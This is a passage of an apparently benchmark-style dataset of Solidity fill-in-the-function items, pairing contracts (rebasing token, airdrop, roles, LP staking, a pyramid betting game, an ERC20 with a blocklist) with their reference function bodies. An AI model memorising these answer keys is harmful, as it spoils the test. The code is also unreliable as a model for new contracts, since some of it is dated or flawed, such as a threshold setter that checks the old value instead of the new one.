peg, so underestimate // the amount we can sell by dividing by 3. resulting price impact // should be ~= offPegPerc * 2 / 3, which will keep us above the peg // // this is a conservative heuristic return token0.mul(offPegPerc / 3).div(10**18); } } else { if (offPegPerc >= 10**17) { return token1.mul(maxSlippageFactor).div(10**18); } else { return token1.mul(offPegPerc / 3).div(10**18); } } } <FILL_FUNCTION> function afterRebase( uint256 mintAmount, uint256 offPegPerc ) internal { // update uniswap UniswapPair(uniswap_pair).sync(); if (mintAmount > 0) { buyReserveAndTransfer( mintAmount, offPegPerc ); } // call any extra functions for (uint i = 0; i < transactions.length; i++) { Transaction storage t = transactions[i]; if (t.enabled) { bool result = externalCall(t.destination, t.data); if (!result) { emit TransactionFailed(t.destination, i, t.data); revert("Transaction Failed"); } } } } /** * @notice Calculates TWAP from uniswap * * @dev When liquidity is low, this can be manipulated by an end of block -> next block * attack. We delay the activation of rebases 12 hours after liquidity incentives * to reduce this attack vector. Additional there is very little supply * to be able to manipulate this during that time period of highest vuln. */ function getTWAP() internal returns (uint256) { (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // no period check as is done in isRebaseWindow // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed)); priceCumulativeLast = priceCumulative; blockTimestampLast = blockTimestamp; return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18)); } /** * @notice Calculates current TWAP from uniswap * */ function getCurrentTWAP() public view returns (uint256) { (uint priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // no period check as is done in isRebaseWindow // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed)); return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18)); } /** * @notice Sets the deviation threshold fraction. If the exchange rate given by the market * oracle is within this fractional distance from the targetRate, then no supply * modifications are made. * @param deviationThreshold_ The new exchange rate threshold fraction. */ function setDeviationThreshold(uint256 deviationThreshold_) external onlyGov { require(deviationThreshold > 0); uint256 oldDeviationThreshold = deviationThreshold; deviationThreshold = deviationThreshold_; emit NewDeviationThreshold(oldDeviationThreshold, deviationThreshold_); } /** * @notice Sets the rebase lag parameter. It is used to dampen the applied supply adjustment by 1 / rebaseLag If the rebase lag R, equals 1, the smallest value for R, then the full supply correction is applied on each rebase cycle. If it is greater than 1, then a correction of 1/R of is applied on each rebase. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyGov { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the targetRate parameter. * @param targetRate_ The new target rate parameter. */ function setTargetRate(uint256 targetRate_) external onlyGov { require(targetRate_ > 0); targetRate = targetRate_; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. * @param rebaseWindowOffsetSec_ The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param rebaseWindowLengthSec_ The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyGov { require(minRebaseTimeIntervalSec_ > 0); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_); minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } /** * @return If the latest block timestamp is within the rebase time window it, returns true. * Otherwise, returns false. */ function inRebaseWindow() public view returns (bool) { // rebasing is delayed until there is a liquid market _inRebaseWindow(); return true; } function _inRebaseWindow() internal view { // rebasing is delayed until there is a liquid market require(rebasingActive, "rebasing not active"); require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early"); require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late"); } /** * @return Computes in % how far off market is from peg */ function computeOffPegPerc(uint256 rate) private view returns (uint256, bool) { if (withinDeviationThreshold(rate)) { return (0, false); } // indexDelta = (rate - targetRate) / targetRate if (rate > targetRate) { return (rate.sub(targetRate).mul(10**18).div(targetRate), true); } else { return (targetRate.sub(rate).mul(10**18).div(targetRate), false); } } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate) private view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** 18); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /* - Constructor Helpers - */ // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address token0, address token1 ) internal pure returns (address pair) { pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens( address tokenA, address tokenB ) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } /* -- Rebase helpers -- */ /** * @notice Adds a transaction that gets called for a downstream receiver of rebases * @param destination Address of contract destination * @param data Transaction data payload */ function addTransaction(address destination, bytes calldata data) external onlyGov { transactions.push(Transaction({ enabled: true, destination: destination, data: data })); } /** * @param index Index of transaction to remove. * Transaction ordering may have changed since adding. */ function removeTransaction(uint index) external onlyGov { require(index < transactions.length, "index out of bounds"); if (index < transactions.length - 1) { transactions[index] = transactions[transactions.length - 1]; } transactions.length--; } /** * @param index Index of transaction. Transaction ordering may have changed since adding. * @param enabled True for enabled, false for disabled. */ function setTransactionEnabled(uint index, bool enabled) external onlyGov { require(index < transactions.length, "index must be in range of stored tx list"); transactions[index].enabled = enabled; } /** * @dev wrapper to call the encoded transactions on downstream consumers. * @param destination Address of destination contract. * @param data The encoded data payload. * @return True on success */ function externalCall(address destination, bytes memory data) internal returns (bool) { bool result; assembly { // solhint-disable-line no-inline-assembly // "Allocate" memory for output // (0x40 is where "free memory" pointer is stored by convention) let outputAddress := mload(0x40) // First 32 bytes are the padded length of data, so exclude that let dataAddress := add(data, 32) result := call( // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) // + callValueTransferGas (9000) + callNewAccountGas // (25000, in case the destination address does not exist and needs creating) sub(gas, 34710), destination, 0, // transfer value in wei dataAddress, mload(data), // Size of the input, in bytes. Stored in position 0 of the array. outputAddress, 0 // Output is ignored, therefore the output size is zero ) } return result; } }
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator;
function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) internal pure returns (uint amountOut)
/** * @notice given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset * * @param amountIn input amount of the asset * @param reserveIn reserves of the asset being sold * @param reserveOut reserves if the asset being purchased */ function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) internal pure returns (uint amountOut)
93987
BDSMAirdrop
multiSend
contract BDSMAirdrop { token public sharesTokenAddress; uint256 public tokenFree = 0; address owner; uint256 public defValue = 5000000; modifier onlyOwner() { require(msg.sender == owner); _; } function BDSMAirdrop(address _tokenAddress) { sharesTokenAddress = token(_tokenAddress); owner = msg.sender; } function multiSend(address[] _dests) onlyOwner public {<FILL_FUNCTION_BODY> } function tokensBack() onlyOwner public { sharesTokenAddress.transfer(owner, sharesTokenAddress.balanceOf(this)); tokenFree = 0; } function changeAirdropValue(uint256 _value) onlyOwner public { defValue = _value; } }
contract BDSMAirdrop { token public sharesTokenAddress; uint256 public tokenFree = 0; address owner; uint256 public defValue = 5000000; modifier onlyOwner() { require(msg.sender == owner); _; } function BDSMAirdrop(address _tokenAddress) { sharesTokenAddress = token(_tokenAddress); owner = msg.sender; } <FILL_FUNCTION> function tokensBack() onlyOwner public { sharesTokenAddress.transfer(owner, sharesTokenAddress.balanceOf(this)); tokenFree = 0; } function changeAirdropValue(uint256 _value) onlyOwner public { defValue = _value; } }
uint256 i = 0; while (i < _dests.length) { sharesTokenAddress.transfer(_dests[i], defValue); i += 1; } tokenFree = sharesTokenAddress.balanceOf(this);
function multiSend(address[] _dests) onlyOwner public
function multiSend(address[] _dests) onlyOwner public
81019
Roles
Roles
contract Roles { /// Address of owner - All privileges address public owner; /// Global operator address address public globalOperator; /// Crowdsale address address public crowdsale; function Roles() public {<FILL_FUNCTION_BODY> } // modifier to enforce only owner function access modifier onlyOwner() { require(msg.sender == owner); _; } // modifier to enforce only global operator function access modifier onlyGlobalOperator() { require(msg.sender == globalOperator); _; } // modifier to enforce any of 3 specified roles to access function modifier anyRole() { require(msg.sender == owner || msg.sender == globalOperator || msg.sender == crowdsale); _; } /// @dev Change the owner /// @param newOwner Address of the new owner function changeOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnerChanged(owner, newOwner); owner = newOwner; } /// @dev Change global operator - initially set to 0 /// @param newGlobalOperator Address of the new global operator function changeGlobalOperator(address newGlobalOperator) onlyOwner public { require(newGlobalOperator != address(0)); GlobalOperatorChanged(globalOperator, newGlobalOperator); globalOperator = newGlobalOperator; } /// @dev Change crowdsale address - initially set to 0 /// @param newCrowdsale Address of crowdsale contract function changeCrowdsale(address newCrowdsale) onlyOwner public { require(newCrowdsale != address(0)); CrowdsaleChanged(crowdsale, newCrowdsale); crowdsale = newCrowdsale; } /// Events event OwnerChanged(address indexed _previousOwner, address indexed _newOwner); event GlobalOperatorChanged(address indexed _previousGlobalOperator, address indexed _newGlobalOperator); event CrowdsaleChanged(address indexed _previousCrowdsale, address indexed _newCrowdsale); }
contract Roles { /// Address of owner - All privileges address public owner; /// Global operator address address public globalOperator; /// Crowdsale address address public crowdsale; <FILL_FUNCTION> // modifier to enforce only owner function access modifier onlyOwner() { require(msg.sender == owner); _; } // modifier to enforce only global operator function access modifier onlyGlobalOperator() { require(msg.sender == globalOperator); _; } // modifier to enforce any of 3 specified roles to access function modifier anyRole() { require(msg.sender == owner || msg.sender == globalOperator || msg.sender == crowdsale); _; } /// @dev Change the owner /// @param newOwner Address of the new owner function changeOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnerChanged(owner, newOwner); owner = newOwner; } /// @dev Change global operator - initially set to 0 /// @param newGlobalOperator Address of the new global operator function changeGlobalOperator(address newGlobalOperator) onlyOwner public { require(newGlobalOperator != address(0)); GlobalOperatorChanged(globalOperator, newGlobalOperator); globalOperator = newGlobalOperator; } /// @dev Change crowdsale address - initially set to 0 /// @param newCrowdsale Address of crowdsale contract function changeCrowdsale(address newCrowdsale) onlyOwner public { require(newCrowdsale != address(0)); CrowdsaleChanged(crowdsale, newCrowdsale); crowdsale = newCrowdsale; } /// Events event OwnerChanged(address indexed _previousOwner, address indexed _newOwner); event GlobalOperatorChanged(address indexed _previousGlobalOperator, address indexed _newGlobalOperator); event CrowdsaleChanged(address indexed _previousCrowdsale, address indexed _newCrowdsale); }
owner = msg.sender; /// Initially set to 0x0 globalOperator = address(0); /// Initially set to 0x0 crowdsale = address(0);
function Roles() public
function Roles() public
48562
LPTokenWrapper
stake
contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public immutable uni; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(IERC20 uni_) public { uni = uni_; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public virtual {<FILL_FUNCTION_BODY> } function withdraw(uint256 amount) public virtual { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); uni.safeTransfer(msg.sender, amount); } }
contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public immutable uni; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(IERC20 uni_) public { uni = uni_; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } <FILL_FUNCTION> function withdraw(uint256 amount) public virtual { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); uni.safeTransfer(msg.sender, amount); } }
_totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); uni.safeTransferFrom(msg.sender, address(this), amount);
function stake(uint256 amount) public virtual
function stake(uint256 amount) public virtual
58354
PyramidGame
withdrawBalance
contract PyramidGame { ///////////////////////////////////////////// // Game parameters uint256 private constant BOTTOM_LAYER_BET_AMOUNT = 0.005 ether; uint256 private adminFeeDivisor; // e.g. 100 means a 1% fee, 200 means a 0.5% fee ///////////////////////////////////////////// // Game owner address private administrator; ///////////////////////////////////////////// // Pyramid grid data // // The uint32 is the coordinates. // It consists of two uint16's: // The x is the most significant 2 bytes (16 bits) // The y is the least significant 2 bytes (16 bits) // x = coordinates >> 16 // y = coordinates & 0xFFFF // coordinates = (x << 16) | y // x is a 16-bit unsigned integer // y is a 16-bit unsigned integer mapping(uint32 => address) public coordinatesToAddresses; uint32[] public allBlockCoordinates; // In the user interface, the rows of blocks will be // progressively shifted more to the right, as y increases // // For example, these blocks in the contract's coordinate system: // ______ // 2 |__A__|______ // /|\ 1 |__B__|__D__|______ // | 0 |__C__|__E__|__F__| // y 0 1 2 // // x --> // // // Become these blocks in the user interface: // __ ______ // /| __|__A__|___ // / __|__B__|__D__|___ // y |__C__|__E__|__F__| // // x --> // // ///////////////////////////////////////////// // Address properties mapping(address => uint256) public addressesToTotalWeiPlaced; mapping(address => uint256) public addressBalances; //////////////////////////////////////////// // Game Constructor function PyramidGame() public { administrator = msg.sender; adminFeeDivisor = 200; // Default fee is 0.5% // The administrator gets a few free chat messages :-) addressesToChatMessagesLeft[administrator] += 5; // Set the first block in the middle of the bottom row coordinatesToAddresses[uint32(1 << 15) << 16] = msg.sender; allBlockCoordinates.push(uint32(1 << 15) << 16); } //////////////////////////////////////////// // Pyramid grid reading functions function getBetAmountAtLayer(uint16 y) public pure returns (uint256) { // The minimum bet doubles every time you go up 1 layer return BOTTOM_LAYER_BET_AMOUNT * (uint256(1) << y); } function isThereABlockAtCoordinates(uint16 x, uint16 y) public view returns (bool) { return coordinatesToAddresses[(uint32(x) << 16) | uint16(y)] != 0; } function getTotalAmountOfBlocks() public view returns (uint256) { return allBlockCoordinates.length; } //////////////////////////////////////////// // Pyramid grid writing functions function placeBlock(uint16 x, uint16 y) external payable { // You may only place a block on an empty spot require(!isThereABlockAtCoordinates(x, y)); // Add the transaction amount to the person's balance addressBalances[msg.sender] += msg.value; // Calculate the required bet amount at the specified layer uint256 betAmount = getBetAmountAtLayer(y); // If the block is at the lowest layer... if (y == 0) { // There must be a block to the left or to the right of it require(isThereABlockAtCoordinates(x-1, y) || isThereABlockAtCoordinates(x+1, y)); } // If the block is NOT at the lowest layer... else { // There must be two existing blocks below it: require(isThereABlockAtCoordinates(x , y-1) && isThereABlockAtCoordinates(x+1, y-1)); } // Subtract the bet amount from the person's balance addressBalances[msg.sender] -= betAmount; // Place the block coordinatesToAddresses[(uint32(x) << 16) | y] = msg.sender; allBlockCoordinates.push((uint32(x) << 16) | y); // If the block is at the lowest layer... if (y == 0) { // The bet goes to the administrator addressBalances[administrator] += betAmount; } // If the block is NOT at the lowest layer... else { // Calculate the administrator fee uint256 adminFee = betAmount / adminFeeDivisor; // Calculate the bet amount minus the admin fee uint256 betAmountMinusAdminFee = betAmount - adminFee; // Add the money to the balances of the people below addressBalances[coordinatesToAddresses[(uint32(x ) << 16) | (y-1)]] += betAmountMinusAdminFee / 2; addressBalances[coordinatesToAddresses[(uint32(x+1) << 16) | (y-1)]] += betAmountMinusAdminFee / 2; // Give the admin fee to the admin addressBalances[administrator] += adminFee; } // The new sender's balance must not have underflowed // (this verifies that the sender has enough balance to place the block) require(addressBalances[msg.sender] < (1 << 255)); // Give the sender their chat message rights addressesToChatMessagesLeft[msg.sender] += uint32(1) << y; // Register the sender's total bets placed addressesToTotalWeiPlaced[msg.sender] += betAmount; } //////////////////////////////////////////// // Withdrawing balance function withdrawBalance(uint256 amountToWithdraw) external {<FILL_FUNCTION_BODY> } ///////////////////////////////////////////// // Chatbox data struct ChatMessage { address person; string message; } mapping(bytes32 => address) public usernamesToAddresses; mapping(address => bytes32) public addressesToUsernames; mapping(address => uint32) public addressesToChatMessagesLeft; ChatMessage[] public chatMessages; mapping(uint256 => bool) public censoredChatMessages; ///////////////////////////////////////////// // Chatbox functions function registerUsername(bytes32 username) external { // The username must not already be token require(usernamesToAddresses[username] == 0); // The address must not already have a username require(addressesToUsernames[msg.sender] == 0); // Register the new username & address combination usernamesToAddresses[username] = msg.sender; addressesToUsernames[msg.sender] = username; } function sendChatMessage(string message) external { // The sender must have at least 1 chat message allowance require(addressesToChatMessagesLeft[msg.sender] >= 1); // Deduct 1 chat message allowence from the sender addressesToChatMessagesLeft[msg.sender]--; // Add the chat message chatMessages.push(ChatMessage(msg.sender, message)); } function getTotalAmountOfChatMessages() public view returns (uint256) { return chatMessages.length; } function getChatMessageAtIndex(uint256 index) public view returns (address, bytes32, string) { address person = chatMessages[index].person; bytes32 username = addressesToUsernames[person]; return (person, username, chatMessages[index].message); } // In case of chat messages with extremely rude or inappropriate // content, the administrator can censor a chat message. function censorChatMessage(uint256 chatMessageIndex) public { require(msg.sender == administrator); censoredChatMessages[chatMessageIndex] = true; } ///////////////////////////////////////////// // Game ownership functions function transferOwnership(address newAdministrator) external { require(msg.sender == administrator); administrator = newAdministrator; } function setFeeDivisor(uint256 newFeeDivisor) external { require(msg.sender == administrator); require(newFeeDivisor >= 20); // The fee may never exceed 5% adminFeeDivisor = newFeeDivisor; } }
contract PyramidGame { ///////////////////////////////////////////// // Game parameters uint256 private constant BOTTOM_LAYER_BET_AMOUNT = 0.005 ether; uint256 private adminFeeDivisor; // e.g. 100 means a 1% fee, 200 means a 0.5% fee ///////////////////////////////////////////// // Game owner address private administrator; ///////////////////////////////////////////// // Pyramid grid data // // The uint32 is the coordinates. // It consists of two uint16's: // The x is the most significant 2 bytes (16 bits) // The y is the least significant 2 bytes (16 bits) // x = coordinates >> 16 // y = coordinates & 0xFFFF // coordinates = (x << 16) | y // x is a 16-bit unsigned integer // y is a 16-bit unsigned integer mapping(uint32 => address) public coordinatesToAddresses; uint32[] public allBlockCoordinates; // In the user interface, the rows of blocks will be // progressively shifted more to the right, as y increases // // For example, these blocks in the contract's coordinate system: // ______ // 2 |__A__|______ // /|\ 1 |__B__|__D__|______ // | 0 |__C__|__E__|__F__| // y 0 1 2 // // x --> // // // Become these blocks in the user interface: // __ ______ // /| __|__A__|___ // / __|__B__|__D__|___ // y |__C__|__E__|__F__| // // x --> // // ///////////////////////////////////////////// // Address properties mapping(address => uint256) public addressesToTotalWeiPlaced; mapping(address => uint256) public addressBalances; //////////////////////////////////////////// // Game Constructor function PyramidGame() public { administrator = msg.sender; adminFeeDivisor = 200; // Default fee is 0.5% // The administrator gets a few free chat messages :-) addressesToChatMessagesLeft[administrator] += 5; // Set the first block in the middle of the bottom row coordinatesToAddresses[uint32(1 << 15) << 16] = msg.sender; allBlockCoordinates.push(uint32(1 << 15) << 16); } //////////////////////////////////////////// // Pyramid grid reading functions function getBetAmountAtLayer(uint16 y) public pure returns (uint256) { // The minimum bet doubles every time you go up 1 layer return BOTTOM_LAYER_BET_AMOUNT * (uint256(1) << y); } function isThereABlockAtCoordinates(uint16 x, uint16 y) public view returns (bool) { return coordinatesToAddresses[(uint32(x) << 16) | uint16(y)] != 0; } function getTotalAmountOfBlocks() public view returns (uint256) { return allBlockCoordinates.length; } //////////////////////////////////////////// // Pyramid grid writing functions function placeBlock(uint16 x, uint16 y) external payable { // You may only place a block on an empty spot require(!isThereABlockAtCoordinates(x, y)); // Add the transaction amount to the person's balance addressBalances[msg.sender] += msg.value; // Calculate the required bet amount at the specified layer uint256 betAmount = getBetAmountAtLayer(y); // If the block is at the lowest layer... if (y == 0) { // There must be a block to the left or to the right of it require(isThereABlockAtCoordinates(x-1, y) || isThereABlockAtCoordinates(x+1, y)); } // If the block is NOT at the lowest layer... else { // There must be two existing blocks below it: require(isThereABlockAtCoordinates(x , y-1) && isThereABlockAtCoordinates(x+1, y-1)); } // Subtract the bet amount from the person's balance addressBalances[msg.sender] -= betAmount; // Place the block coordinatesToAddresses[(uint32(x) << 16) | y] = msg.sender; allBlockCoordinates.push((uint32(x) << 16) | y); // If the block is at the lowest layer... if (y == 0) { // The bet goes to the administrator addressBalances[administrator] += betAmount; } // If the block is NOT at the lowest layer... else { // Calculate the administrator fee uint256 adminFee = betAmount / adminFeeDivisor; // Calculate the bet amount minus the admin fee uint256 betAmountMinusAdminFee = betAmount - adminFee; // Add the money to the balances of the people below addressBalances[coordinatesToAddresses[(uint32(x ) << 16) | (y-1)]] += betAmountMinusAdminFee / 2; addressBalances[coordinatesToAddresses[(uint32(x+1) << 16) | (y-1)]] += betAmountMinusAdminFee / 2; // Give the admin fee to the admin addressBalances[administrator] += adminFee; } // The new sender's balance must not have underflowed // (this verifies that the sender has enough balance to place the block) require(addressBalances[msg.sender] < (1 << 255)); // Give the sender their chat message rights addressesToChatMessagesLeft[msg.sender] += uint32(1) << y; // Register the sender's total bets placed addressesToTotalWeiPlaced[msg.sender] += betAmount; } <FILL_FUNCTION> ///////////////////////////////////////////// // Chatbox data struct ChatMessage { address person; string message; } mapping(bytes32 => address) public usernamesToAddresses; mapping(address => bytes32) public addressesToUsernames; mapping(address => uint32) public addressesToChatMessagesLeft; ChatMessage[] public chatMessages; mapping(uint256 => bool) public censoredChatMessages; ///////////////////////////////////////////// // Chatbox functions function registerUsername(bytes32 username) external { // The username must not already be token require(usernamesToAddresses[username] == 0); // The address must not already have a username require(addressesToUsernames[msg.sender] == 0); // Register the new username & address combination usernamesToAddresses[username] = msg.sender; addressesToUsernames[msg.sender] = username; } function sendChatMessage(string message) external { // The sender must have at least 1 chat message allowance require(addressesToChatMessagesLeft[msg.sender] >= 1); // Deduct 1 chat message allowence from the sender addressesToChatMessagesLeft[msg.sender]--; // Add the chat message chatMessages.push(ChatMessage(msg.sender, message)); } function getTotalAmountOfChatMessages() public view returns (uint256) { return chatMessages.length; } function getChatMessageAtIndex(uint256 index) public view returns (address, bytes32, string) { address person = chatMessages[index].person; bytes32 username = addressesToUsernames[person]; return (person, username, chatMessages[index].message); } // In case of chat messages with extremely rude or inappropriate // content, the administrator can censor a chat message. function censorChatMessage(uint256 chatMessageIndex) public { require(msg.sender == administrator); censoredChatMessages[chatMessageIndex] = true; } ///////////////////////////////////////////// // Game ownership functions function transferOwnership(address newAdministrator) external { require(msg.sender == administrator); administrator = newAdministrator; } function setFeeDivisor(uint256 newFeeDivisor) external { require(msg.sender == administrator); require(newFeeDivisor >= 20); // The fee may never exceed 5% adminFeeDivisor = newFeeDivisor; } }
require(amountToWithdraw != 0); // The user must have enough balance to withdraw require(addressBalances[msg.sender] >= amountToWithdraw); // Subtract the withdrawn amount from the user's balance addressBalances[msg.sender] -= amountToWithdraw; // Transfer the amount to the user's address // If the transfer() call fails an exception will be thrown, // and therefore the user's balance will be automatically restored msg.sender.transfer(amountToWithdraw);
function withdrawBalance(uint256 amountToWithdraw) external
//////////////////////////////////////////// // Withdrawing balance function withdrawBalance(uint256 amountToWithdraw) external
29467
MediaLicensingToken
_transfer
contract MediaLicensingToken is Context, IERC20, IERC20Metadata, Ownable { // Holds all the balances mapping (address => uint256) private _balances; // Holds all allowances mapping (address => mapping (address => uint256)) private _allowances; // Holds all blacklisted addresses mapping (address => bool) private _blocklist; // They can only be decreased uint256 private _totalSupply; // Immutable they can only be set once during construction string private _name; string private _symbol; uint256 private _maxTokens; // Events event Blocklist(address indexed account, bool indexed status); // The initializer of our contract constructor () { _name = "Media Licensing Token"; _symbol = "MLT"; // Holds max mintable limit, 200 million tokens _maxTokens = 200000000000000000000000000; _mint(_msgSender(), _maxTokens); } /* * PUBLIC RETURNS */ // Returns the name of the token. function name() public view virtual override returns (string memory) { return _name; } // Returns the symbol of the token function symbol() public view virtual override returns (string memory) { return _symbol; } // Returns the number of decimals used function decimals() public view virtual override returns (uint8) { return 18; } // Returns the total supply function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } // Returns the balance of a given address function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } // Returns the allowances of the given addresses function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } // Returns a blocked address of a given address function isBlocked(address account) public view virtual returns (bool) { return _blocklist[account]; } /* * PUBLIC FUNCTIONS */ // Calls the _transfer function for a given recipient and amount function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } // Calls the _transfer function for a given array of recipients and amounts function transferArray(address[] calldata recipients, uint256[] calldata amounts) public virtual returns (bool) { for (uint8 count = 0; count < recipients.length; count++) { _transfer(_msgSender(), recipients[count], amounts[count]); } return true; } // Calls the _approve function for a given spender and amount function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } // Calls the _transfer and _approve function for a given sender, recipient and amount function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } // Calls the _approve function for a given spender and added value (amount) function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } // Calls the _approve function for a given spender and substracted value (amount) function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * PUBLIC (Only Owner) */ // Calls the _burn internal function for a given amount function burn(uint256 amount) public virtual onlyOwner { _burn(_msgSender(), amount); } function blockAddress (address account) public virtual onlyOwner { _block(account, true); } function unblockAddress (address account) public virtual onlyOwner { _block(account, false); } /* * INTERNAL (PRIVATE) */ function _block (address account, bool status) internal virtual { require(account != _msgSender(), "ERC20: message sender can not block or unblock himself"); _blocklist[account] = status; emit Blocklist(account, status); } // Implements the transfer function for a given sender, recipient and amount function _transfer(address sender, address recipient, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } // Implements the mint function for a given account and amount function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; // Paranoid security require(_totalSupply <= _maxTokens, "ERC20: mint exceeds total supply limit"); _balances[account] += amount; emit Transfer(address(0), account, amount); } // Implements the burn function for a given account and amount function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } // Implements the approve function for a given owner, spender and amount function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * INTERNAL (PRIVATE) HELPERS */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { require(_blocklist[from] == false && _blocklist[to] == false, "MLTERC20: transfer not allowed"); require(amount > 0, "ERC20: amount must be above zero"); } }
contract MediaLicensingToken is Context, IERC20, IERC20Metadata, Ownable { // Holds all the balances mapping (address => uint256) private _balances; // Holds all allowances mapping (address => mapping (address => uint256)) private _allowances; // Holds all blacklisted addresses mapping (address => bool) private _blocklist; // They can only be decreased uint256 private _totalSupply; // Immutable they can only be set once during construction string private _name; string private _symbol; uint256 private _maxTokens; // Events event Blocklist(address indexed account, bool indexed status); // The initializer of our contract constructor () { _name = "Media Licensing Token"; _symbol = "MLT"; // Holds max mintable limit, 200 million tokens _maxTokens = 200000000000000000000000000; _mint(_msgSender(), _maxTokens); } /* * PUBLIC RETURNS */ // Returns the name of the token. function name() public view virtual override returns (string memory) { return _name; } // Returns the symbol of the token function symbol() public view virtual override returns (string memory) { return _symbol; } // Returns the number of decimals used function decimals() public view virtual override returns (uint8) { return 18; } // Returns the total supply function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } // Returns the balance of a given address function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } // Returns the 